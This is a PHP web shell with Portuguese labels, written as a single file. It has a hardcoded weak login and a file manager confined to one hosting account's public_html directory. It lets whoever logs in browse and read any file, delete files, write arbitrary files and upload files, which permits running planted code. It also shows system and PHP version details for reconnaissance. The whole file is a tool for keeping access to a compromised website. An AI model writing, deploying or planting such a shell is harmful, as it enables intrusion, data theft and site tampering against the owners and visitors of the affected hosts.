<?php
session_start();

/* CONFIG */
$user = "vanda";
$pass = "123";
$base_dir = realpath('/home1/marc2052/public_html');

/* LOGIN */
if (!isset($_SESSION['auth'])) {
    if (isset($_POST['user'], $_POST['pass'])) {
        if ($_POST['user'] === $user && $_POST['pass'] === $pass) {
            $_SESSION['auth'] = true;
            header("Location: ?");
            exit;
        }
    }
?>
<!DOCTYPE html>
<html>
<head>
<style>
body{
margin:0;height:100vh;
background:url('https://static.prod.iranwire.com/_versions_webp/articleslide/%D8%A7%D8%B1%D8%AA%D8%B4-%D8%B3%D8%A7%DB%8C%D8%A8%D8%B1%DB%8C%DB%B1_kLbM__v1308x687__box_0%2C0%2C1306%2C687.webp') center/cover no-repeat;
display:flex;justify-content:center;align-items:center;
font-family:sans-serif;
}
.overlay{
position:absolute;width:100%;height:100%;
background:rgba(0,0,0,0.4);
}
.box{
position:relative;z-index:2;
background:rgba(0,0,0,0.7);
padding:30px;border-radius:10px;color:#fff;
}
</style>
</head>
<body>
<div class="overlay"></div>
<div class="box">
<h2>Login</h2>
<form method="POST">
<input name="user" placeholder="user"><br>
<input name="pass" type="password" placeholder="pass"><br>
<button>Entrar</button>
</form>
</div>
</body>
</html>
<?php exit; }

/* LOGOUT */
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: ?");
    exit;
}

/* DIRETÓRIO */
$dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir;
$dir = realpath($dir);

if ($dir === false || strpos($dir, $base_dir) !== 0) {
    $dir = $base_dir;
}

$files = scandir($dir);

/* AÇÕES */
if (isset($_POST['action'])) {

    if ($_POST['action'] == 'create') {
        file_put_contents($dir."/".$_POST['name'], $_POST['content']);
    }

    if ($_POST['action'] == 'delete') {
        $file = $dir."/".$_POST['file'];
        if (is_file($file)) unlink($file);
    }

    if ($_POST['action'] == 'upload') {
        move_uploaded_file($_FILES['file']['tmp_name'], $dir."/".$_FILES['file']['name']);
    }

    header("Location: ?dir=".$dir);
    exit;
}

/* VISUALIZAR */
$view = "";
if (isset($_GET['view'])) {
    $file = $dir."/".$_GET['view'];
    if (is_file($file)) {
        $view = htmlspecialchars(file_get_contents($file));
    }
}
?>

<!DOCTYPE html>
<html>
<head>
<style>
body{
margin:0;
font-family:monospace;
color:#fff;
background:url('https://msblogs.thesourcemediaassets.com/sites/5/2024/02/February-2024-Biannual-Iran-Report-Blog-Image-1536x897.jpg') center/cover no-repeat fixed;
}

/* overlay */
.overlay{
position:fixed;
width:100%;
height:100%;
background:rgba(0,0,0,0.4);
}

/* topo */
.top{
position:relative;
z-index:2;
background:#000;
padding:10px;
display:flex;
justify-content:space-between;
}

/* menu */
.menu{
position:relative;
z-index:2;
text-align:center;
padding:10px;
}
.menu a{
color:red;
border:1px solid red;
padding:5px;
margin:5px;
text-decoration:none;
}

/* grid */
.grid{
position:relative;
z-index:2;
display:grid;
grid-template-columns:repeat(auto-fill,minmax(180px,1fr));
gap:10px;
padding:20px;
}

.card{
background:#111;
padding:10px;
}

/* box */
.box{
position:relative;
z-index:2;
background:#111;
padding:10px;
margin:10px;
}

input,textarea{width:100%;}
button{background:red;color:#fff;border:none;padding:5px;}
</style>
</head>

<body>

<div class="overlay"></div>

<div class="top">
<div><?php echo $dir; ?></div>
<a href="?logout=1">Logout</a>
</div>

<div class="menu">
<a href="?">Home</a>
<a href="?system=1">System</a>
</div>

<!-- SYSTEM -->
<?php if(isset($_GET['system'])): ?>
<div class="box">
Sistema: <?php echo php_uname(); ?><br>
PHP: <?php echo phpversion(); ?>
</div>
<?php endif; ?>

<!-- VOLTAR -->
<?php
$parent = dirname($dir);
if ($dir !== $base_dir):
?>
<div class="box">
<a href="?dir=<?php echo urlencode($parent); ?>">⬅️ Voltar</a>
</div>
<?php endif; ?>

<!-- VIEW -->
<?php if($view): ?>
<div class="box">
<pre><?php echo $view; ?></pre>
</div>
<?php endif; ?>

<!-- FILES -->
<div class="grid">
<?php foreach($files as $f): 
if($f=="."||$f=="..") continue;
$path = $dir."/".$f;
?>
<div class="card">

<?php if(is_dir($path)): ?>
📁 
<a href="?dir=<?php echo urlencode($path); ?>">
<?php echo htmlspecialchars($f); ?>
</a>

<?php else: ?>
📄 <?php echo htmlspecialchars($f); ?><br>

<a href="?dir=<?php echo urlencode($dir); ?>&view=<?php echo urlencode($f); ?>">👁️ Ver</a>

<form method="POST">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="file" value="<?php echo htmlspecialchars($f); ?>">
<button>Deletar</button>
</form>

<?php endif; ?>

</div>
<?php endforeach; ?>
</div>

<!-- CRIAR -->
<div class="box">
<h3>Criar Arquivo</h3>
<form method="POST">
<input type="hidden" name="action" value="create">
<input name="name" placeholder="arquivo.txt">
<textarea name="content"></textarea>
<button>Criar</button>
</form>
</div>

<!-- UPLOAD -->
<div class="box">
<h3>Upload</h3>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<input type="file" name="file">
<button>Enviar</button>
</form>
</div>

</body>
</html>
